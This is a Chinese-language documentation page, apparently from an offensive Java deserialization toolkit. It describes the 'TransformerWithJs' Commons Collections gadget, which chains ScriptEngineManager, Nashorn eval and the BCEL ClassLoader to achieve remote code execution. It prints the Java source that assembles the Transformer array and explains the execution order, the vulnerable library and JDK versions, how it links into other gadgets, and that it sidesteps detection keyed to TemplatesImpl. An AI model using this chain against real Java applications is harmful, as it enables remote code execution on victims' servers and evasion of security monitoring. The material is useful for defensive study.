Skip to content

Latest commit

 

History

History
53 lines (44 loc) · 4.08 KB

File metadata and controls

53 lines (44 loc) · 4.08 KB

CC Transform链加载BCEL(TransformerWithJs)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖<=commons-collections 3.2.1<=commons-collections 4.0jdk < 8u251

作用

构造一个 Commons Collections 的 Transformer[] 数组,使其触发时通过 ScriptEngineManager 取得 Nashorn「js」引擎并 eval 一段 JavaScript 表达式;该 JS 内部用 com.sun.org.apache.bcel.internal.util.ClassLoader 加载 BCEL($$BCEL$$ 前缀)字节码并实例化,完成 RCE。是 CC 家族中借道脚本引擎 + BCEL 的字节码 sink。

链接标签

  • 入口 tagsTransformerChains —— 产出 Transformer[],由外层 CC gadget(nextTags=TransformerChains)承接并包进 ChainedTransformer
  • 衔接 nextTagsJs_Expr —— 之后接一个产出「JS 表达式字符串」的 gadget(内含加载 BCEL 字节码的 JS 代码)。
  • excludes:无。

源码剖析

public Object getObject(String jsExpression) throws Exception {
    LinkedList<Object> transformers = new LinkedList<Object>();
    transformers.add(this.createConstantTransformer(ScriptEngineManager.class));                 // 常量返回 ScriptEngineManager 类
    transformers.add(this.createInvokerTransformer("newInstance", new Class[0], new Object[0])); // new ScriptEngineManager()
    transformers.add(this.createInvokerTransformer("getEngineByName",                            // .getEngineByName("js")
            new Class[]{String.class}, new Object[]{"js"}));
    transformers.add(this.createInvokerTransformer("eval",                                       // engine.eval(jsExpression)
            new Class[]{String.class}, new Object[]{jsExpression}));
    transformers.add(this.createInvokerTransformer("newInstance", new Class[0], new Object[0])); // 对 eval 结果再 newInstance
    return this.createTransformerArray(transformers);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String version = context.getString(ContextTag.CC_VERSION);
    this.initClazz(version);
    String bcelString = (String)chain.doCreate(context);   // 内层产出承载 BCEL 的 JS 表达式字符串
    return this.getObject(bcelString);
}

ChainedTransformer 执行顺序:ScriptEngineManager.class →(反射)newInstance() 得到实例 → getEngineByName("js") 得到 Nashorn 引擎 → eval(jsExpression) 执行注入的 JS。该 JS 通常形如用 com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$...") 加载 BCEL 编码的类,最后再一次 newInstance 触发其构造逻辑。数组组装依赖基类 AbstractTransformer 反射工厂(见 TransformerWithTemplatesImpl)。反编译头部 Could not load ... org.slf4j.Logger 属缺失第三方依赖的正常注释,不影响逻辑。

参数(@Param)

本类无独立 @Param。CC 版本经 ContextTag.CC_VERSION 注入;JS 表达式(含 BCEL 字节码)由下游 Js_Expr gadget 提供。

适用版本与原理要点

  • 适用 commons-collections <= 3.2.1collections4 <= 4.0
  • 关键约束 jdk < 8u251com.sun.org.apache.bcel.internal.util.ClassLoader 在 JDK 8u251 起被移除/限制,故仅低版本可用;同时依赖 Nashorn「js」引擎存在(JDK 15 起 Nashorn 被移除)。
  • sink 走脚本引擎 + BCEL,适合规避直接 TemplatesImpl/defineClass 特征的检测。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可作为 CC 链尾 sink 的低版本 JDK 变体手工组入。

关联